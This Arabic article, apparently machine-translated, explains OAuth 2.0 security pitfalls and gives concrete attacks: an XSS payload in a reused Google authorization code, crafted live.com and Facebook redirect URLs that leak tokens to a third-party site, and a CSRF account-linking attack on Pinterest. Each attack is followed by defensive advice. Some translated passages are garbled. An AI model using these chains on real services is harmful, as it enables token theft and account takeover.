الأكثر شيوعا 2.0 المأجورون

نظرة عامة على OAuth 2

تفترض هذه المقالة أن القراء على دراية بـ OAuth 2. ومع ذلك ، يوجد أدناه وصف موجز لها أدناه.

1. يطلب التطبيق إذنًا للوصول إلى موارد الخدمة من المستخدم. يحتاج التطبيق إلى توفير معرف العميل وسرية العميل وإعادة توجيه URI والنطاقات المطلوبة.
2. إذا أذن المستخدم للطلب ، فسيتلقى التطبيق منحة تفويض
3. يطلب التطبيق رمز وصول من خادم التخويل عن طريق تقديم مصادقة لهويته الخاصة ومنحة التفويض
4. إذا كانت هوية التطبيق مصادقة وكانت منحة التفويض صالحة ، فإن خادم التخويل يُصدر الوصول إلى التطبيق وتحديثه (إذا لزم الأمر). اكتمال التفويض.
5. يطلب التطبيق المورد من خادم المورد ويعرض الرمز المميز للوصول للمصادقة
6. إذا كان رمز الوصول صالحًا ، فسيخدم خادم المورد المورد للتطبيق

فيما يلي بعض إيجابيات وسلبيات الرئيسية في OAuth 2.0

• OAuth 2.0 أسهل في الاستخدام والتنفيذ (مقارنةً بـ OAuth 1.0)
• انتشار واسع ومستمر متزايد
• الرموز قصيرة العمر
• مغلفة الرموز

- لا يوجد توقيع (يعتمد فقط على SSL / TLS) و Bearer Tokens
- لا يوجد أمان مدمج
- يمكن أن تكون خطيرة إذا ما استخدمت من أشخاص غير متمرسين
- الكثير من الحلول الوسط. الفريق العامل لم يتخذ قرارات واضحة
- التكامل المحمول (وجهات النظر على شبكة الإنترنت)
- Oauth 2.0 spec ليس بروتوكولًا ، بل هو إطار عمل - RFC 6749

تقييم أكثر أهمية

OAuth 2 المأجورون

يمكن استخدام رمز التفويض أكثر من مرة

مثال هجوم Google:

1. تسجيل معرف العميل
2. احصل على رمز التفويض في نقطة نهاية التفويض ( https://accounts.google.com/o/oauth2/auth ) على سبيل المثال
3. الآن تغيير رمز التفويض من
   4/ShttLZGi8w7b0MF5iRsdKBkaBB-6.Qrl8jChpba4TYKs_1NgQtmW51KPvhgI
   إلى
   4/ShttLZGi8w7b0MF5iRsdKBkaBB6.Qrl8jChpba4TYKs_1NgQtmW51KPvhgI<script>alert('hello')</script> واطلب الحصول على رمز وصول.
   كما قيل ، سيكون رمز التفويض صالحًا ، ويتم استلام رمز الوصول المميز نظرًا لحقيقة أن رمز التخويل من النموذج TOKEN1.TOKEN2 وأنه تم التحقق من صحة TOKEN1 فقط!
4. في الواقع ، 4/ShttLZGi8w7b0MF5iRsdKBkaBB6.Qrl8jChpba4TYKs_1NgQtmW51KPvhgI<script>alert('hello')</script> طلب رمز الدخول باستخدام نفس رمز التخويل المزور (أي 4/ShttLZGi8w7b0MF5iRsdKBkaBB6.Qrl8jChpba4TYKs_1NgQtmW51KPvhgI<script>alert('hello')</script> ) لم يعد رمز المصادقة مقبولًا. الجزء المثير للاهتمام من كل هذا هو كيفية استجابة نقطة نهاية الرمز المميز لهذا الرمز لم يعد صالحًا ، بل لقد بدا رد الخطأ كما يلي: رمز التسجيل:

 Token: "4/ShttLZGi8w7b0MF5iRsdKBkaBB-6.Qrl8jChpba4TYKs_1NgQtmW51KPvhgI<script>alert('hello')</script>" ... 

كما ترون لا يتم تطهير الإخراج.

الدرس المستفاد:

يجب ألا يستخدم العميل رمز التفويض أكثر من مرة. إذا تم استخدام رمز التفويض أكثر من مرة ، فيجب على خادم التخويل رفض الطلب وإلغاء (عند الإمكان) جميع الرموز التي تم إصدارها مسبقًا بناءً على رمز التخويل هذا.

إعادة توجيه URI لم يتم التحقق من صحتها

لنفترض الآن مهاجمًا:

1. يسجل عميلًا جديدًا إلى مقدم خدمة ضحايا.كوم.
2. يسجل إعادة توجيه URI مثل attacker.com.

ثم يمكن للمهاجم صياغة URI خاص من النموذج

 http://victim.com/authorize?response_type=code&client_id=bc88FitX1298KPj2WS259BBMa9_KCfL3&scope=WRONG_SCOPE&redirect_uri=http://attacker.com 

الآن يمكنك أن تجادل بأن هذا هو مجرد إعادة توجيه مفتوحة وأنه ليس هناك الكثير الذي يمكنك القيام به حيال ذلك؟

دعنا نذهب من خلال مثال Microsoft و Facebook:

تستخدم Microsoft نطاق OAuth المخصص wli.contacts_emails والذي يتوفر فقط لتطبيق Facebook. جزء مثير للاهتمام هو أنه لا يتم إخطار المستخدمين أبدًا بأن التطبيق يحاول الوصول إلى بياناتهم ويتم منح الإذن بصمت.

يمكنك تجربة هذا هنا (سيكون عليك تسجيل الدخول):

 https://login.live.com/oauth20_authorize.srf?client_id=0000000044002503&response_type=token&scope=wli.contacts_emails&redirect_uri=https%3A%2F%2Fwww.facebook.com%2F 

إذا حاولت تعديل معلمة #### redirect_uri ، فستلاحظ أنه تم إصدار الرمز المميز لأي عنوان URL داخل نطاق #### facebook.com. حتى يتسنى تسريب رمز OAuth إلى جهة خارجية ضارة ، ستكون هناك حاجة إلى Open Redirect في #### facebook.com domain. نظرًا لأن عمليات إعادة التوجيه المفتوحة تعد عادةً نقاط ضعف منخفضة الخطورة ، فإنه ليس من الصعب العثور عليها. في هذا المثال ، سوف نستخدم "إعادة توجيه مفتوحة" في تدفق تفويض فيسبوك (عن طريق توفير معلمة نطاق #### غير صالحة). يعمل مثل هذا:

 https://www.facebook.com/dialog/oauth?type=web_server&scope=invalid&display=popup&client_id=260755904036570&redirect_uri=http://simcracy.com 

لذلك ، من خلال تقييد الخطأين ، يمكننا الحصول على رموز OAuth من مستخدمي live.com. المثال الكامل هنا:

 https://login.live.com/oauth20_authorize.srf?client_id=0000000044002503&response_type=token&scope=wli.contacts_emails&redirect_uri=http%3A%2F%2Fwww.facebook.com%2Fl.php%3Fh%5B%5D%26u%3Dgraph.facebook.com%252Foauth%252Fauthorize%253Ftype%253Dweb_server%2526scope%253De%2526client_id%253D260755904036570%2526redirect_uri%253Dhttp%253A%252F%252Fsimcracy.com 

إذا قمت الآن بفحص عنوان URL المقصود ، فستلاحظ إرسال رمز OAuth الخاص بـ Microsoft إلى موقع ويب تابع لجهة خارجية دون موافقتك. مثال آخر هو إعادة التوجيه إلى صفحة XSS الضعيفة للمجال ، حيث لا يزال بإمكان البرنامج النصي الوصول إلى الرمز المميز.

الدروس المستفادة:

1. لا ينبغي مطلقًا لتطبيقات OAuth إدراج نطاقات بأكملها في القائمة البيضاء ، إلا أن هناك عددًا قليلاً من عناوين URL بحيث لا يمكن الإشارة إلى "redirect_uri" إلى "إعادة توجيه مفتوحة". يجب أن يكون المطورون أيضًا حذرًا عند منح إمكانية الوصول إلى التطبيقات بصمت (قد لا تؤدي الموافقة يدويًا على تطبيق ما إلى جعل تجربة المستخدم أسوأ بكثير).
   طريقة التحقق الآمنة الوحيدة لـ redirect_uri التي يجب أن يعتمدها خادم التخويل هي المطابقة التامة

   
   

2. إذا كان مالك المورد يرفض طلب الوصول أو إذا فشل الطلب لأسباب أخرى غير إعادة توجيه URI المفقودة أو غير الصالحة ، يقوم خادم التخويل بإبلاغ العميل عن طريق إضافة المعلمات التالية إلى مكون الاستعلام الخاص بإعادة التوجيه URI باستخدام "application / x-www - شكل urlencoded "الشكل

   
   

3. الرد باستخدام رمز حالة HTTP 400 (طلب غير صحيح).

   
   

طلب تزوير عبر الموقع عميل OAuth

يسمح هجوم CSRF ضد إعادة توجيه العميل URI للمهاجم بضخ رمز التفويض الخاص به أو رمز الوصول ، مما قد يؤدي إلى استخدام العميل لرمز وصول مرتبط بالموارد المحمية للمهاجم بدلاً من الضحية (مثل حفظ معلومات الحساب المصرفي للضحية إلى مورد محمي يسيطر عليه المهاجم).

1. اختر عميلًا يناسب "حالة" الاختراق - بعض site.com (سنستخدم Pinterest كعرض) بدء عملية المصادقة - انقر فوق "إضافة تسجيل الدخول إلى موفر OAuth". تحتاج إلى الحصول على رد من مزود الخدمة ولكن لا ينبغي عليك زيارته.

   
   

2. لا زيارة افعل للالماضي URL ( http://pinterest.com/connect/facebook/?code=AQCOtAVov1Cu316rpqPfs-8nDb-jJEiF7aex9n05e2dq3oiXlDwubVoC8VEGNq10rSkyyFb3wKbtZh6xpgG59FsAMMSjIAr613Ly1usZ47jPqADzbDyVuotFaRiQux3g6Ut84nmAf9j-KEvsX0bEPH_aCekLNJ1QAnjpls0SL9ZSK-yw1wPQWQsBhbfMPNJ_LqI# )، مجرد حفظ ووضع IT IMG في SRC = "عنوان URL" أو إطار iframe أو أي شيء أنت آخر تفضل إرسال الطلبات.

   
   

1. الآن كل ما تحتاجه هو جعل المستخدم (بعض المستخدمين معين أو موقع site.com عشوائيًا) لإرسال طلب HTTP على عنوان رد الاتصال الخاص بك. يمكنك إجباره على زيارة example.com/somepage.html الذي يحتوي على iframe src = URL ، ونشر img على حائطه ، وإرسال رسالة بريد إلكتروني إليه / tweet ، أيًا كان. يجب أن يتم تسجيل دخول المستخدم site.com عندما يرسل الطلب.
   حسنًا ، يتم إرفاق حساب oauth الخاص بك بحساب المستخدم على site.com.

   
   

2. Voila ، اضغط على تسجيل الدخول باستخدام موفر OAuth - لقد قمت بتسجيل الدخول مباشرة إلى حساب المستخدم على site.com

   
   

الدروس المستفادة:

يجب على العميل تطبيق حماية CSRF لإعادة توجيه URI. يتم تحقيق ذلك عادةً عن طريق طلب أي طلب يتم إرساله إلى نقطة نهاية URI لإعادة التوجيه لتضمين قيمة تربط الطلب بحالة مصادقة وكيل المستخدم (على سبيل المثال ، تجزئة ملف تعريف ارتباط الجلسة المستخدمة لمصادقة وكيل المستخدم). يجب على العميل استخدام معلمة طلب "الحالة" لتسليم هذه القيمة إلى خادم التخويل عند تقديم طلب تفويض.

بمجرد الحصول على إذن من المستخدم النهائي ، يعيد خادم التخويل توجيه وكيل المستخدم الخاص بالمستخدم النهائي إلى العميل مع قيمة الربط المطلوبة المضمنة في معلمة "الحالة". تتيح قيمة الربط للعميل التحقق من صلاحية الطلب عن طريق مطابقة قيمة الربط مع الحالة المصادق عليها من وكيل المستخدم. يجب أن تحتوي قيمة الربط المستخدمة لحماية CSRF على قيمة غير قابلة للتخمين ، ويجب الحفاظ على حالة مصادقة وكيل المستخدم (مثل ملف تعريف الارتباط للجلسة ، والتخزين المحلي لـ HTML5) في موقع لا يمكن الوصول إليه إلا للعميل والوكيل المستخدم (أي ، محمي) بواسطة نفس السياسة الأصل).

يمكن أن يؤدي هجوم CSRF ضد نقطة نهاية تخويل خادم التخويل إلى حصول مهاجم على ترخيص المستخدم النهائي لعميل ضار دون إشراك المستخدم النهائي أو تنبيهه.

يجب أن يقوم خادم التخويل بتنفيذ حماية CSRF لنقطة نهاية التفويض الخاصة به ، والتأكد من أن العميل الضار لا يمكنه الحصول على إذن دون إدراك وموافقة صريحة من صاحب المورد.

جزء رمزي للوصول إلى URI

نظرًا للضعف الأمني ​​المرتبط بأسلوب URI ، بما في ذلك الاحتمال الكبير بتسجيل عنوان URL الذي يحتوي على رمز الوصول ، يجب ألا يتم استخدامه إلا إذا كان من المستحيل نقل رمز الدخول المميز في حقل رأس طلب "التخويل" أو طلب HTTP كيان الجسم. قد تدعم خوادم الموارد هذه الطريقة.